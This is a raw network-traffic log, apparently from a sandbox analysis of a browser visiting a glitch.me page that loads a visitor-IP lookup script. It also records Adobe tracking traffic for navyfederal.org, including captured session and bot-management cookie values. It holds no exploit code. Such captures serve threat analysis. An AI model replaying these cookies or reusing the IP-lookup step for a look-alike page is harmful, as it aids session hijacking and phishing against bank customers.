2024-05-24 22:45:28 UTC	3208	IN	Data Raw: 47 49 46 38 39 61 20 00 20 00 f3 00 00 ff ff ff 00 00 00 c6 c6 c6 84 84 84 b6 b6 b6 9a 9a 9a 36 36 36 56 56 56 d8 d8 d8 e4 e4 e4 bc bc bc 1e 1e 1e 04 04 04 00 00 00 00 00 00 00 00 00 21 fe 1a 43 72 65 61 74 65 64 20 77 69 74 68 20 61 6a 61 78 6c 6f 61 64 2e 69 6e 66 6f 00 21 f9 04 00 0a 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 20 00 20 00 00 04 e7 10 c8 49 69 61 a5 ea cd e7 62 4b 85 24 9d 46 0c 15 a3 52 02 41 94 54 b2 2c 07 a5 32 53 e2 2a 30 35 2f 2f c9 6d a2 70 21 7a 93 c1 cc 30 19 02 10 3b 24 c5 30 43 01 9c 2e 02 49 2a 21 fc 48 43 28 41 40 11 6f 01 04 83 21 33 39 54 35 ba 5c d1 38 29 a8 0d 87 a0 60 c1 ee b4 b2 64 14 07 77 78 47 3d 59 04 0a 67 14 04 83 77 48 62 86 1d 76 06 41 3d 92 30 09 56 5c 9c 5c 88 3b 09 02 05 Data Ascii: GIF89a 666VVV!Created with ajaxload.info!!NETSCAPE2.0, IiabK$FRAT,2S05//mp!z0;$0C.I!HC(A@o!39T5\8)`dwxG=YgwHbvA=0V\\;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49718	195.80.159.133	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:37 UTC	625	OUT	GET /ip.js?var=userip HTTP/1.1 Host: l2.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://delicious-decorous-army.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:37 UTC	167	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:45:37 GMT Server: Apache/2.4.38 (Debian) Content-Length: 24 Connection: close Content-Type: text/html; charset=UTF-8
2024-05-24 22:45:37 UTC	24	IN	Data Raw: 75 73 65 72 69 70 20 3d 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 3b Data Ascii: userip = "8.46.123.175";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49758	54.171.118.212	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:48 UTC	736	OUT	GET /id?d_visid_ver=5.5.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_verify=1&d_orgid=9BD537045330573C0A490D44%40AdobeOrg&d_nsid=0&ts=1716590746662 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://www.navyfederal.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:48 UTC	954	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:45:48 GMT Content-Length: 0 Connection: close X-TID: APpJGOOOTeg= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Access-Control-Allow-Origin: https://www.navyfederal.org Vary: Origin Access-Control-Allow-Credentials: true Location: https://dpm.demdex.net/id/rd?d_visid_ver=5.5.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_verify=1&d_orgid=9BD537045330573C0A490D44%40AdobeOrg&d_nsid=0&ts=1716590746662 DCS: dcs-prod-irl1-2-v061-0ae9b9fc0.edge-irl1.demdex.com 0 ms set-cookie: demdex=15028710952493579300771312513576972253; Max-Age=15552000; Expires=Wed, 20 Nov 2024 22:45:48 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49767	54.171.118.212	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:49 UTC	794	OUT	GET /id/rd?d_visid_ver=5.5.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_verify=1&d_orgid=9BD537045330573C0A490D44%40AdobeOrg&d_nsid=0&ts=1716590746662 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://www.navyfederal.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=15028710952493579300771312513576972253
2024-05-24 22:45:49 UTC	824	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:45:49 GMT Content-Type: application/json;charset=utf-8 Content-Length: 363 Connection: close X-TID: ifB7grsgRPg= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Access-Control-Allow-Origin: https://www.navyfederal.org Vary: Origin Access-Control-Allow-Credentials: true DCS: dcs-prod-irl1-2-v061-0f88054c4.edge-irl1.demdex.com 1 ms set-cookie: demdex=15028710952493579300771312513576972253; Max-Age=15552000; Expires=Wed, 20 Nov 2024 22:45:49 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-05-24 22:45:49 UTC	363	IN	Data Raw: 7b 22 64 5f 6d 69 64 22 3a 22 31 39 34 37 31 36 35 34 32 37 31 30 34 31 39 35 35 30 38 30 33 39 30 33 33 32 34 34 38 30 38 35 31 33 31 32 36 37 22 2c 22 69 64 5f 73 79 6e 63 5f 74 74 6c 22 3a 36 30 34 38 30 30 2c 22 64 5f 62 6c 6f 62 22 3a 22 52 4b 68 70 52 7a 38 6b 72 67 32 74 4c 4f 36 70 67 75 58 57 70 35 6f 6c 6b 41 63 55 6e 69 51 59 50 48 61 4d 57 57 67 64 4a 33 78 7a 50 57 51 6d 64 6a 30 79 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 64 5f 6f 74 74 6c 22 3a 37 32 30 30 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 34 31 31 22 2c 22 74 74 6c 22 3a 31 30 30 38 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 31 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 31 2c 22 75 72 6c 22 3a 5b 22 2f 2f 63 6d 2e 65 76 65 72 Data Ascii: {"d_mid":"19471654271041955080390332448085131267","id_sync_ttl":604800,"d_blob":"RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y","dcs_region":6,"d_ottl":7200,"ibs":[{"id":"411","ttl":10080,"tag":"img","fireURLSync":1,"syncOnPage":1,"url":["//cm.ever

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49786	63.140.39.22	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:51 UTC	2074	OUT	GET /id?d_visid_ver=5.5.0&d_fieldgroup=A&mcorgid=9BD537045330573C0A490D44%40AdobeOrg&mid=19471654271041955080390332448085131267&ts=1716590750179 HTTP/1.1 Host: analytics.navyfederal.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://www.navyfederal.org Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bm_sz=C98C612E331275F90CF452AA828D169C~YAAQVLMUAgtBzI6PAQAA4gnIrBexPK2buvaIlAsjLxHVP3Ie+QbggMzzw9sXydGC7RuXQc57KDoKbKGMsAJw7f/COKM3KgIvCZ9AQuXHr8oI+HqT9VO2nDfY/067C9LIxx8PUvottpnmyP3OVPYfZ84yh+Yqaem1XupVyT0ELtQ5QhFUx/bHZMMeKwxZOr+QpV3rJYax/bCAkOR6im+Tq4Dtf84guDjrm9whq6VRhANhWPEYna/xmLmunZymSfPUtFqz+9b3gutKDkj1YFcc3Fd4MkXiWnoqeCkTOFvxevSVEQiA+nEP/jIsT6IlywPh6xE+k2I7s1PqKrj15k1MHTuMS0S/xQh0cn3UIIOezLDuDD440A86dMeks06UsbDiordvXXoMH8rI~3421766~3490627; at_check=true; _abck=21D1C4FBE0AED4A77782CD6A6455FF7F~0~YAAQVLMUArVCzI6PAQAApSXIrAtP/lgerEAD3d4syX3Lqa1oG7kKzOq6+AeiQbZ79CKhqHTbXIUZwKMpizhvYE46ly/SAaAXbsfKNi4V9Cplt1c1KnCrkjEi9201HRV9HymZEVif/VfI8o6RyJaHsZiN+deKnDjRYHEVV7Tg0ocuDOsqtlSnmNRecku4LI/T7cJ5Wo6LFAvnz3DjpH68xIMzMh+hsDozKB8KLeOWrIPEZUlhRGgrBZOf1T8RrJfaG9UEyADOwGoMC7hp9jdacCRU77FpfNZaTs1/P2H1Z+SAInkkBFIEG0dMqHv2NBzr105ZUfJfIZPeRNA4Hrf3XHFQpVuaAXQQ1yGxb1dW5OQhta11HuBlWXMPZleyYZAjH7Fx3Mpr2IDtpK9fAi+NndgzCSamP5UXhgXSH2M=~-1~\|\|-1\|\|~-1; mbox=session#acc9edf75c184210ac74e72cc44d0f35#1716592611; AMCVS_9BD5 [TRUNCATED]
2024-05-24 22:45:51 UTC	680	IN	HTTP/1.1 200 OK access-control-allow-origin: https://www.navyfederal.org access-control-allow-credentials: true date: Fri, 24 May 2024 22:45:51 GMT p3p: CP="This is not a P3P policy" server: jag set-cookie: s_ecid=MCMID%7C19471654271041955080390332448085131267; Path=/; Domain=navyfederal.org; Max-Age=63072000; Expires=Sun, 24 May 2026 22:45:45 GMT; SameSite=Lax; vary: Origin content-type: application/x-javascript;charset=utf-8 content-length: 48 strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-05-24 22:45:51 UTC	48	IN	Data Raw: 7b 22 6d 69 64 22 3a 22 31 39 34 37 31 36 35 34 32 37 31 30 34 31 39 35 35 30 38 30 33 39 30 33 33 32 34 34 38 30 38 35 31 33 31 32 36 37 22 7d Data Ascii: {"mid":"19471654271041955080390332448085131267"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49781	66.235.152.225	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:51 UTC	705	OUT	POST /rest/v1/delivery?client=navyfederalcu&sessionId=acc9edf75c184210ac74e72cc44d0f35&version=2.7.0 HTTP/1.1 Host: navyfederalcu.tt.omtrdc.net Connection: keep-alive Content-Length: 915 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.navyfederal.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:51 UTC	915	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 49 64 22 3a 22 65 66 39 62 63 37 33 63 64 39 61 37 34 30 62 61 61 33 37 30 32 30 35 37 31 35 65 33 34 30 30 30 22 2c 22 63 6f 6e 74 65 78 74 22 3a 7b 22 75 73 65 72 41 67 65 6e 74 22 3a 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 31 31 37 2e 30 2e 30 2e 30 20 53 61 66 61 72 69 2f 35 33 37 2e 33 36 22 2c 22 74 69 6d 65 4f 66 66 73 65 74 49 6e 4d 69 6e 75 74 65 73 22 3a 2d 32 34 30 2c 22 63 68 61 6e 6e 65 6c 22 3a 22 77 65 62 22 2c 22 73 63 72 65 65 6e 22 3a 7b 22 77 69 64 74 68 22 3a 31 32 38 30 2c 22 68 65 69 Data Ascii: {"requestId":"ef9bc73cd9a740baa370205715e34000","context":{"userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36","timeOffsetInMinutes":-240,"channel":"web","screen":{"width":1280,"hei
2024-05-24 22:45:51 UTC	845	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:45:51 GMT content-type: application/json;charset=UTF-8 vary: origin,access-control-request-method,access-control-request-headers,accept-encoding access-control-allow-origin: https://www.navyfederal.org access-control-allow-credentials: true x-request-id: 1e048f75-0d97-4a45-b9e1-26f6a351b8d1 timing-allow-origin: * accept-ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List referrer-policy: strict-origin-when-cross-origin server: jag strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close transfer-encoding: chunked
2024-05-24 22:45:51 UTC	13170	IN	Data Raw: 33 33 36 61 0d 0a 7b 22 73 74 61 74 75 73 22 3a 32 30 30 2c 22 72 65 71 75 65 73 74 49 64 22 3a 22 65 66 39 62 63 37 33 63 64 39 61 37 34 30 62 61 61 33 37 30 32 30 35 37 31 35 65 33 34 30 30 30 22 2c 22 63 6c 69 65 6e 74 22 3a 22 6e 61 76 79 66 65 64 65 72 61 6c 63 75 22 2c 22 69 64 22 3a 7b 22 74 6e 74 49 64 22 3a 22 61 63 63 39 65 64 66 37 35 63 31 38 34 32 31 30 61 63 37 34 65 37 32 63 63 34 34 64 30 66 33 35 2e 33 37 5f 30 22 7d 2c 22 65 64 67 65 48 6f 73 74 22 3a 22 6d 62 6f 78 65 64 67 65 33 37 2e 74 74 2e 6f 6d 74 72 64 63 2e 6e 65 74 22 2c 22 70 72 65 66 65 74 63 68 22 3a 7b 7d 2c 22 74 65 6c 65 6d 65 74 72 79 53 65 72 76 65 72 54 6f 6b 65 6e 22 3a 22 72 50 45 46 71 2f 35 78 2b 56 74 4a 48 77 4e 6c 68 45 5a 53 42 76 34 57 65 75 4b 47 6b 35 36 43 Data Ascii: 336a{"status":200,"requestId":"ef9bc73cd9a740baa370205715e34000","client":"navyfederalcu","id":{"tntId":"acc9edf75c184210ac74e72cc44d0f35.37_0"},"edgeHost":"mboxedge37.tt.omtrdc.net","prefetch":{},"telemetryServerToken":"rPEFq/5x+VtJHwNlhEZSBv4WeuKGk56C
2024-05-24 22:45:51 UTC	2895	IN	Data Raw: 62 34 38 0d 0a 74 5c 74 5c 74 5c 74 5c 74 5c 74 3c 69 6d 67 20 64 61 74 61 2d 73 72 63 73 65 74 3d 5c 22 2f 63 6f 6e 74 65 6e 74 2f 64 61 6d 2f 69 63 6f 6e 73 2f 74 77 6f 2d 74 6f 6e 65 2f 70 65 6f 70 6c 65 2f 6d 65 6d 62 65 72 73 2d 6e 2e 73 76 67 5c 22 20 61 6c 74 20 63 6c 61 73 73 3d 5c 22 74 69 6c 65 2d 69 74 65 6d 5f 5f 69 6d 67 20 74 69 6c 65 2d 69 74 65 6d 5f 5f 69 6d 67 5f 70 72 6f 64 75 63 74 2d 70 72 6f 6d 6f 20 6c 61 7a 79 6c 6f 61 64 5c 22 2f 3e 5c 6e 5c 74 5c 74 5c 74 5c 74 5c 74 5c 74 5c 74 5c 6e 5c 74 5c 74 5c 74 5c 74 5c 74 5c 74 5c 6e 5c 74 5c 74 5c 74 5c 74 5c 74 3c 2f 70 69 63 74 75 72 65 3e 5c 6e 5c 74 5c 74 5c 74 5c 74 5c 74 5c 6e 5c 74 5c 74 5c 6e 5c 74 5c 74 3c 68 33 3e 42 65 63 6f 6d 65 20 61 20 4d 65 6d 62 65 72 20 54 6f 64 61 79 Data Ascii: b48t\t\t\t\t\t<img data-srcset=\"/content/dam/icons/two-tone/people/members-n.svg\" alt class=\"tile-item__img tile-item__img_product-promo lazyload\"/>\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t</picture>\n\t\t\t\t\t\n\t\t\n\t\t<h3>Become a Member Today
2024-05-24 22:45:51 UTC	5098	IN	Data Raw: 31 33 64 64 0d 0a 72 69 62 75 74 65 28 27 68 72 65 66 27 2c 20 62 68 72 65 66 20 29 3b 5c 6e 7d 7d 29 3b 5c 6e 2f 2f 20 23 54 61 72 67 65 74 20 54 65 73 74 20 43 6f 64 65 20 45 6e 64 20 5c 6e 3c 2f 73 63 72 69 70 74 3e 22 2c 22 74 79 70 65 22 3a 22 68 74 6d 6c 22 2c 22 72 65 73 70 6f 6e 73 65 54 6f 6b 65 6e 73 22 3a 7b 22 65 78 70 65 72 69 65 6e 63 65 2e 69 64 22 3a 22 30 22 2c 22 61 63 74 69 76 69 74 79 2e 6e 61 6d 65 22 3a 22 41 70 72 69 6c 20 32 33 2c 20 32 30 32 34 20 7c 20 4e 61 76 69 67 61 74 69 6f 6e 20 2d 20 55 6e 62 6f 6c 64 20 48 65 61 64 69 6e 67 73 20 7c 20 46 6f 72 6d 2d 42 61 73 65 64 20 7c 20 50 52 4f 44 22 2c 22 67 65 6f 2e 64 6d 61 22 3a 22 6e 65 77 20 79 6f 72 6b 22 2c 22 61 63 74 69 76 69 74 79 2e 69 64 22 3a 22 35 35 36 39 32 31 22 2c Data Ascii: 13ddribute('href', bhref );\n}});\n// #Target Test Code End \n</script>","type":"html","responseTokens":{"experience.id":"0","activity.name":"April 23, 2024 \| Navigation - Unbold Headings \| Form-Based \| PROD","geo.dma":"new york","activity.id":"556921",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49787	54.228.84.202	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:51 UTC	755	OUT	GET /dest5.html?d_nsid=0 HTTP/1.1 Host: nfcu.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=15028710952493579300771312513576972253
2024-05-24 22:45:52 UTC	606	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:45:51 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 6983 Connection: close X-TID: 86aadMwrSXk= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Accept-Ranges: bytes last-modified: Thu, 9 May 2024 12:24:52 GMT DCS: dcs-prod-irl1-2-v061-06a60358b.edge-irl1.demdex.com 0 ms
2024-05-24 22:45:52 UTC	6983	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 41 64 6f 62 65 20 41 75 64 69 65 6e 63 65 4d 61 6e 61 67 65 72 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Adobe AudienceManager</title><script type="text/javas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49788	176.34.167.98	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:51 UTC	533	OUT	GET /id/rd?d_visid_ver=5.5.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_verify=1&d_orgid=9BD537045330573C0A490D44%40AdobeOrg&d_nsid=0&ts=1716590746662 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=15028710952493579300771312513576972253
2024-05-24 22:45:52 UTC	712	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:45:52 GMT Content-Type: application/json;charset=utf-8 Content-Length: 363 Connection: close X-TID: 8Q3MUYzOQzk= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" DCS: dcs-prod-irl1-2-v061-0f88054c4.edge-irl1.demdex.com 2 ms set-cookie: demdex=15028710952493579300771312513576972253; Max-Age=15552000; Expires=Wed, 20 Nov 2024 22:45:52 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-05-24 22:45:52 UTC	363	IN	Data Raw: 7b 22 64 5f 6d 69 64 22 3a 22 31 39 34 37 31 36 35 34 32 37 31 30 34 31 39 35 35 30 38 30 33 39 30 33 33 32 34 34 38 30 38 35 31 33 31 32 36 37 22 2c 22 69 64 5f 73 79 6e 63 5f 74 74 6c 22 3a 36 30 34 38 30 30 2c 22 64 5f 62 6c 6f 62 22 3a 22 52 4b 68 70 52 7a 38 6b 72 67 32 74 4c 4f 36 70 67 75 58 57 70 35 6f 6c 6b 41 63 55 6e 69 51 59 50 48 61 4d 57 57 67 64 4a 33 78 7a 50 57 51 6d 64 6a 30 79 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 64 5f 6f 74 74 6c 22 3a 37 32 30 30 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 34 31 31 22 2c 22 74 74 6c 22 3a 31 30 30 38 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 31 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 31 2c 22 75 72 6c 22 3a 5b 22 2f 2f 63 6d 2e 65 76 65 72 Data Ascii: {"d_mid":"19471654271041955080390332448085131267","id_sync_ttl":604800,"d_blob":"RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y","dcs_region":6,"d_ottl":7200,"ibs":[{"id":"411","ttl":10080,"tag":"img","fireURLSync":1,"syncOnPage":1,"url":["//cm.ever

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49795	63.140.39.93	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:52 UTC	1884	OUT	GET /id?d_visid_ver=5.5.0&d_fieldgroup=A&mcorgid=9BD537045330573C0A490D44%40AdobeOrg&mid=19471654271041955080390332448085131267&ts=1716590750179 HTTP/1.1 Host: analytics.navyfederal.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bm_sz=C98C612E331275F90CF452AA828D169C~YAAQVLMUAgtBzI6PAQAA4gnIrBexPK2buvaIlAsjLxHVP3Ie+QbggMzzw9sXydGC7RuXQc57KDoKbKGMsAJw7f/COKM3KgIvCZ9AQuXHr8oI+HqT9VO2nDfY/067C9LIxx8PUvottpnmyP3OVPYfZ84yh+Yqaem1XupVyT0ELtQ5QhFUx/bHZMMeKwxZOr+QpV3rJYax/bCAkOR6im+Tq4Dtf84guDjrm9whq6VRhANhWPEYna/xmLmunZymSfPUtFqz+9b3gutKDkj1YFcc3Fd4MkXiWnoqeCkTOFvxevSVEQiA+nEP/jIsT6IlywPh6xE+k2I7s1PqKrj15k1MHTuMS0S/xQh0cn3UIIOezLDuDD440A86dMeks06UsbDiordvXXoMH8rI~3421766~3490627; at_check=true; _abck=21D1C4FBE0AED4A77782CD6A6455FF7F~0~YAAQVLMUArVCzI6PAQAApSXIrAtP/lgerEAD3d4syX3Lqa1oG7kKzOq6+AeiQbZ79CKhqHTbXIUZwKMpizhvYE46ly/SAaAXbsfKNi4V9Cplt1c1KnCrkjEi9201HRV9HymZEVif/VfI8o6RyJaHsZiN+deKnDjRYHEVV7Tg0ocuDOsqtlSnmNRecku4LI/T7cJ5Wo6LFAvnz3DjpH68xIMzMh+hsDozKB8KLeOWrIPEZUlhRGgrBZOf1T8RrJfaG9UEyADOwGoMC7hp9jdacCRU77FpfNZaTs1/P2H1Z+SAInkkBFIEG0dMqHv2NBzr105ZUfJfIZPeRNA4Hrf3XHFQpVuaAXQQ1yGxb1dW5OQhta11HuBlWXMPZleyYZAjH7Fx3Mpr2IDtpK9fAi+NndgzCSamP5UXhgXSH2M=~-1~\|\|-1\|\|~-1; mbox=session#acc9edf75c184210ac74e72cc44d0f35#1716592611; AMCVS_9BD5 [TRUNCATED]
